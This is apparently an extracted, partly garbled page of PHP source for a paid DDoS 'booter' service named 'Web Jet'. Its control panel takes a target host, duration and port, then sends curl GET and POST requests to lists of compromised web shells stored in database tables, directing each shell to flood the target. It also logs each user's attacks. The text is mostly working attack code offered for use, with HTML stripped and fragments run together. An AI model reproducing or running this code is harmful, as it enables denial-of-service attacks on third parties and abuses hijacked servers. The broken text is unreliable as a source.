Web Jet

Important Notice: Attacking the same IP Address repeatedly will result in suspension of your account without refund.

http://

ENDHTM; } if($_REQUEST['www']) { print $www; $domain = strtolower($_REQUEST['www']); $xArray = @parse_url($domain); if(!$xArray["scheme"]) { $domain = "http://" . $domain; $xArray = @parse_url($domain); } $xProtocol = $xArray["scheme"]; $xHost = $xArray["host"]; $xPort = $xArray["port"]; $xUser = $xArray["user"]; $xPass = $xArray["pass"]; $xPath = $xArray["path"]; $xQuery = $xArray["query"]; $xFragment = $xArray["fragment"]; $domain = $xProtocol ."://". $xHost . $xPath . ($xQuery?"?":"") . $xQuery; $www = $xHost . $xPath . ($xQuery?"?":"") . $xQuery; printForm(); if(@gethostbyname($xHost) == $xHost) { $ip2 = "Returned hostname"; $hostname2 = "Cancelled"; } else { $ip2 = @gethostbyname($xHost); $hostname2 = @gethostbyaddr($ip2); } print "\n"; print "\n"; } else { if(isset($_COOKIE['URL'])) { $www = $_COOKIE['URL']; } printForm(); } ?>

IP/DNS
Seconds
Port	Xbox Live Website, Home Connection FTP CSS Server IRC

 

0) { mysql_query("update `users` set `ckey`= '', `ctime`= '' where `id`='$_SESSION[user_id]' OR `id` = '$_COOKIE[user_id]'") or die(mysql_error()); unset($_SESSION['user_id']); unset($_SESSION['user_name']); unset($_SESSION['user_level']); unset($_SESSION['HTTP_USER_AGENT']); session_unset(); session_destroy(); setcookie("user_id", '', time()-60*60*24*COOKIE_TIME_OUT, "/"); setcookie("user_name", '', time()-60*60*24*COOKIE_TIME_OUT, "/"); setcookie("user_key", '', time()-60*60*24*COOKIE_TIME_OUT, "/"); die("You do not have permission to view this page."); } if (isset($_GET['host']) && isset($_GET['time']) && isset($_GET['port'])) { $SQL = new ezSQL_mysql(); $SQL->connect(DB_USER, DB_PASS); $SQL->select(DB_NAME); $Query = "SELECT * FROM `getshells`"; $AffectedRows = $SQL->query($Query); $host = $_GET['host']; $time = intval($_GET['time']); $port = intval($_GET['port']); $mc = EpiCurl::getInstance(); $ch = array(); if($time >= 181) { die("

---

You cannot issue attacks exceeding 180 seconds."); } if($host == "") { die("Sorry, but you must fill in all fields."); } if($time == "") { die("Sorry, but you must fill in all fields."); } if($port == "") { die("Sorry, but you must fill in all fields."); } /* * Example Blacklisting */ if($host == "hackforums.net") { die("

---

You cannot attack this."); } if($host == "64.120.186.69") { die("

---

You cannot attack this."); } /* * End of blacklisting */ for($i = 0; $i < $AffectedRows; $i++) { $row = $SQL->last_result[$i]; $shell = trim($row->URL); if (strlen($shell) == 0) continue; $shell .= "?act=phptools&host={$host}&time={$time}&port={$port}"; $ch[$i] = curl_init($shell); curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch[$i], CURLOPT_TIMEOUT, 7); $curl1 = $mc->addCurl($ch[$i]); } $Query = "SELECT * FROM `postshells`"; $AffectedRows = $SQL->query($Query); $ch2 = array(); $post = "ip={$host}&time={$time}&port={$port}"; for($i = 0; $i < $AffectedRows; $i++) { $row = $SQL->last_result[$i]; $shell = trim($row->URL); if (strlen($shell) == 0) continue; $header = array(); $header[] = "Cache-Control: max-age=0"; $header[] = "Connection: keep-alive"; $header[] = "Keep-Alive: 300"; $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"; $header[] = "Accept-Language: en-us,en;q=0.5"; $header[] = "Pragma: "; $ch2[$i] = curl_init($shell); curl_setopt($ch2[$i], CURLOPT_HTTPHEADER, $header); curl_setopt($ch2[$i], CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2[$i], CURLOPT_FORBID_REUSE, 1); curl_setopt($ch2[$i], CURLOPT_POST, 1); curl_setopt($ch2[$i], CURLOPT_POSTFIELDS, $post); $curl1 = $mc->addCurl($ch2[$i]); } echo "

Attack has been sent!

"; $username = $_SESSION['user_name']; $host = strip_tags(mysql_real_escape_string($_GET['host'])); $time = strip_tags(mysql_real_escape_string($_GET['time'])); $port = strip_tags(mysql_real_escape_string($_GET['port'])); $date = date("m-d-Y, h:i:s a", time()); mysql_query("INSERT INTO logs (username, ip, time, port, date) VALUES('" . $username . "', '" .$host . "', '" . $time . "', '" . $port . "', '" . $date . "' ) ") or die(mysql_error()); mysql_query("UPDATE users set myAttacks = myAttacks + 1 WHERE full_name = '" . $username . "'") or die(mysql_error()); } ?>